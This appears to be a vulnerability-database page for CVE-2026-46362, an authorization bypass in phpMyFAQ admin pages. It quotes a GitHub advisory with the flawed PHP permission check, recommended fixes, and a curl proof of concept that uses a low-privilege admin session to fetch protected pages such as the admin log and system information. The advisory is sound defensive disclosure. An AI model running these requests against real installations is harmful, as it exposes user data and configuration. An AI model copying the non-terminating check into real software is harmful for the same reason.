CVE-2026-46362
mediumpriority · track · 0OT risk · elevatedEPSS 0.003 · 23 %ileEUUSEPSS · scored 2026-10-27
phpMyFAQ before 4.1.2 contains an authorization bypass vulnerability in AbstractAdministrationController::userHasPermission() that fails to terminate execution after sending a forbidden response. Attackers can access all permission-protected admin pages by requesting their URLs as authenticated users, exposing admin logs, user data, system information, and application configuration.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · medium–high · 4.9–7.1
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
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affected products (3)
Products and version ranges known to be affected.
advisories (1)
Vendor and ecosystem advisories describing this.
- GHSA-hpgw-ww76-c68rphpMyFAQ has an Authorization Bypass in All Admin Pages Due to Non-Terminating Permission Check2026-05-06ghsa · osvUS
## Summary `AbstractAdministrationController::userHasPermission()` catches the `ForbiddenException` thrown when a user lacks a specific permission, sends a "forbidden" HTML page via `$response->send()`, but does not terminate execution. The calling controller method continues to execute, fetches protected data, renders the full template, and returns it as a Response. The final `$response->send()` in `admin/index.php` outputs the protected page content after the forbidden page, leaking all permission-protected admin data to any authenticated admin user regardless of their actual permissions. ## Details The parent class `AbstractController::userHasPermission()` (`phpmyfaq/src/phpMyFAQ/Controller/AbstractController.php:317-327`) correctly enforces authorization by throwing a `ForbiddenException` when the user lacks the required permission. This exception would normally propagate to Symfony's HttpKernel exception handler, which would return an error response and prevent the controller from continuing. However, `AbstractAdministrationController` overrides this method at line 390-399: ```php #[\Override] protected function userHasPermission(PermissionType $permissionType): void { try { parent::userHasPermission($permissionType); } catch (ForbiddenException $exception) { $response = $this->getForbiddenPage($exception->getMessage()); $response->send(); // Outputs HTML but does NOT terminate execution } catch (Exception $exception) { $this->configuration->getLogger()->error($exception->getMessage()); // Only logs, no response, no termination } } ``` The critical flaw: after `$response->send()` at line 396, there is no `exit()`, `die()`, `return`, or re-throw. PHP execution continues normally into the calling controller method. For example, in `AdminLogController::index()` (`phpmyfaq/src/phpMyFAQ/Controller/Administration/AdminLogController.php:45-83`): ```php public function index(Request $request): Response { $this->userHasPermission(PermissionType::STATISTICS_ADMINLOG); // ^^^ If user lacks permission: forbidden page is echoed, but execution continues // ... all of this still executes: $loggingData = $this->adminLog->getAll(); // Fetches ALL admin log entries // ... return $this->render('@admin/statistics/admin-log.twig', [ // ... full admin log data including IPs, usernames, actions 'loggingData' => $currentItems, ]); } ``` The entry point `admin/index.php` then calls `$response->send()` on the returned Response, appending the full protected page to the already-sent forbidden page in the HTTP response body. The second `catch` block (line 397-398) for generic `Exception` is even worse — it only logs the error without sending any response or terminating, so the protected page renders with no forbidden notice at all. **58 admin controllers** extend `AbstractAdministrationController` and call `userHasPermission()`, meaning every permission-protected admin page is affected. This includes: - Admin logs (user IPs, actions, usernames) - User management (user data, permissions) - System information (server configuration, PHP info) - Configuration pages (all application settings) - Backup pages - All other admin functionality ## PoC 1. Create a test admin user with minimal permissions (e.g., only FAQ editing, no statistics access): 2. Authenticate as the limited admin user and request a permission-protected page: ```bash # Get admin session cookies by logging in curl -c cookies.txt -d 'faqusername=limited_admin&faqpassword=password&pmf-csrf-token=TOKEN' \ 'https://TARGET/admin/?action=login' # Access admin log page (requires STATISTICS_ADMINLOG permission) curl -b cookies.txt -s 'https://TARGET/admin/statistics/admin-log' | tee response.html # The response contains BOTH the forbidden page HTML AND the full admin log: grep -c 'You are not allowed' response.html # 1 — forbidden page was sent grep -c 'loggingData\|ad_adminlog_ip' response.html # matches — admin log data also present # Access system information (requires CONFIGURATION_EDIT permission) curl -b cookies.txt -s 'https://TARGET/admin/system-information' | tee sysinfo.html # Contains PHP version, extensions, database info, server configuration ``` 3. The HTTP response body contains the forbidden page HTML followed by the full protected page HTML, including all sensitive data. ## Impact Any authenticated admin user — even one with zero administrative permissions beyond basic login — can access **every** permission-protected admin page by simply requesting its URL. The permission check sends a forbidden page but does not stop execution, so the protected content is always appended to the response. Exposed data includes: - **Admin logs**: All admin users' IP addresses, actions, and timestamps - **User management**: User accounts, email addresses, permissions - **System information**: PHP configuration, database details, server paths - **Configuration**: All application settings including security-sensitive values - **Backups**: Database export functionality This effectively renders the entire admin permission system non-functional for the 58 page controllers using `AbstractAdministrationController`. ## Recommended Fix Add `return` after sending the forbidden response, and re-throw for the generic Exception case: ```php #[\Override] protected function userHasPermission(PermissionType $permissionType): void { try { parent::userHasPermission($permissionType); } catch (ForbiddenException $exception) { $response = $this->getForbiddenPage($exception->getMessage()); $response->send(); exit; // Terminate execution to prevent controller from continuing } catch (Exception $exception) { $this->configuration->getLogger()->error($exception->getMessage()); throw $exception; // Re-throw to prevent controller from continuing } } ``` A cleaner architectural fix would be to not swallow the exception at all, and instead let it propagate to the Symfony HttpKernel exception handler (which already handles `ForbiddenException` via `WebExceptionListener`): ```php #[\Override] protected function userHasPermission(PermissionType $permissionType): void { // Simply delegate to parent — let ForbiddenException propagate // to the WebExceptionListener which renders the appropriate error page parent::userHasPermission($permissionType); } ``` Or remove the override entirely, since the `WebExceptionListener` registered in the Kernel already handles exception-to-response conversion.
also known as (3)
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sources
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references (6)
External citations — patches, advisories, analysis.
- https://nvd.nist.gov/vuln/detail/CVE-2026-46362cnnvd
- https://www.phpmyfaq.de/Patchcnnvd
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-hpgw-ww76-c68renisa_euvd
- https://www.vulncheck.com/advisories/phpmyfaq-authorization-bypass-in-admin-pages-via-non-terminating-permission-checkenisa_euvd
- https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-hpgw-ww76-c68rnvd
- https://www.vulncheck.com/advisories/phpmyfaq-authorization-bypass-in-admin-pages-via-non-terminating-permission-checknvd
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